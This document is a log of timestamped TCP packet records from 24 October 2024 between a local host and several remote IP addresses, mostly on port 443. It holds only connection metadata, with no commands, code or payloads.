Oct 24, 2024 00:26:44.731415033 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.731457949 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.731498003 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.731575012 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.731594086 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:45.329252005 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.329312086 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.329478025 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.329771042 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.329792976 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.441869020 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 00:26:45.543620110 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.543720007 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.543792009 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.545201063 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.545223951 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.571039915 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.611330032 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.613840103 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:45.613862991 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:45.613950968 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:45.614228010 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:45.614239931 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:45.634423018 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.634458065 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.634655952 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.634869099 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.634888887 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.738902092 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.738929987 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.738936901 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.738976002 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.738989115 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.739008904 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.739049911 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.792840958 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.793046951 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 00:26:45.862513065 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.862524033 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.862689018 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.862709045 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.862776995 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.862967968 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.862978935 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.863035917 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.863867044 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.863876104 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.863949060 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.865900993 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.865914106 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.865981102 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:45.956953049 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.957299948 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.957318068 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.958977938 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.959057093 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.960187912 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.960300922 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.967353106 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.967370987 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:45.967457056 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.014903069 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.014924049 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.061964035 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.084388018 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.084403038 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.084477901 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.085753918 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.085850954 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.086666107 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.086733103 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.089713097 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.089782000 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.090517044 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.090588093 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.091459036 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.091536045 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.201452017 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.201529026 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.201791048 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.201862097 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.206768036 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.206851006 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.207297087 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.207364082 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.207375050 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.207412958 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.207501888 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.207789898 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.207806110 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.258475065 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.258785009 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.258795023 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.259989023 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.260128975 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.261415958 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.261497974 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.320815086 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.320832014 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.363867044 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.383090019 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.383135080 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.383219957 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.383435965 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:46.383447886 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:46.469279051 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.469608068 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.469636917 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.470931053 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.471029997 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.472060919 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.472168922 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.472271919 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.472280025 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.523876905 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.717521906 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.761869907 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.837047100 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.837079048 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.837095976 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.837127924 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.837147951 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.837167978 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.837182999 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.837186098 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.837203026 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.837212086 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.837223053 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.837255955 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.839695930 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.839711905 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.839778900 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.839790106 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.839823961 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.958380938 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.958404064 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.958437920 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.958492994 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.958511114 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.958528042 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:46.958544016 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.958570957 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.959064960 CEST	49714	443	192.168.2.16	18.245.31.89
Oct 24, 2024 00:26:46.959075928 CEST	443	49714	18.245.31.89	192.168.2.16
Oct 24, 2024 00:26:47.092819929 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.093115091 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.093142986 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.094202995 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.094285011 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.094578028 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.094645977 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.094738007 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.094749928 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.100112915 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.100157022 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.100256920 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.100433111 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.100449085 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.124608040 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:47.124630928 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:47.124735117 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:47.124938011 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:47.124949932 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:47.144876957 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.157488108 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.157532930 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.157607079 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.157932043 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.157975912 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.158086061 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.158183098 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.158204079 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.158267021 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.158480883 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.158495903 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.158771038 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.158792973 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.158896923 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.158911943 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.161314011 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.161344051 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.161406994 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.161566019 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:47.161592007 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:47.161680937 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:47.161744118 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.161777020 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.161870003 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:47.161890030 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:47.185184002 CEST	49724	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.185228109 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.185326099 CEST	49724	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.185579062 CEST	49724	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.185595989 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.255887985 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 24, 2024 00:26:47.310040951 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.310070038 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.310077906 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.310148954 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.310175896 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.365837097 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.424613953 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.424657106 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.424835920 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.425391912 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.425405979 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.426139116 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:47.426178932 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:47.426393032 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:47.426594973 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:47.426615000 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:47.428689957 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.428702116 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.428725958 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.428761005 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.428826094 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.429950953 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.429959059 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.430027962 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.430713892 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.430721998 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.430829048 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.462482929 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.462527990 CEST	443	49727	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.462634087 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.462857008 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.462869883 CEST	443	49727	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.515888929 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.515904903 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.516020060 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.548971891 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.548989058 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.549079895 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.549308062 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.549318075 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.549397945 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.550368071 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.550458908 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.551306963 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.551381111 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.551393032 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.551456928 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.551539898 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.551599026 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.634567976 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.634676933 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.667536020 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.667619944 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.667794943 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.667870998 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.668279886 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.668358088 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.668453932 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.668521881 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.668534040 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.668566942 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.668617010 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.668883085 CEST	49716	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.668900013 CEST	443	49716	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.717367887 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.717883110 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.717900038 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.718977928 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.719041109 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.719357014 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.719425917 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.719505072 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.719511032 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.764843941 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.849299908 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.862133026 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:47.862433910 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:47.862448931 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:47.863547087 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:47.863858938 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:47.864881992 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:47.864970922 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:47.865442038 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:47.865452051 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:47.892865896 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.894001007 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.894355059 CEST	49724	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.894372940 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.894823074 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.895194054 CEST	49724	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.895258904 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.895380020 CEST	49724	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.904803991 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:47.905090094 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:47.905102968 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:47.906230927 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:47.906332016 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:47.907537937 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:47.907613993 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:47.907658100 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:47.908896923 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:47.910574913 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.910779953 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.910800934 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.911981106 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.912054062 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.912106037 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.912704945 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.912717104 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.913206100 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.913270950 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.913403034 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.913810015 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.913891077 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.914928913 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.915014029 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.915085077 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.921667099 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.921924114 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.921937943 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.923043966 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.923140049 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.924101114 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.924189091 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.924272060 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.939336061 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:47.940907955 CEST	49724	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:47.952671051 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:47.952682018 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:47.955336094 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.956859112 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.956868887 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.956899881 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.956908941 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.968359947 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.968374968 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.968401909 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.968416929 CEST	443	49717	13.226.184.17	192.168.2.16
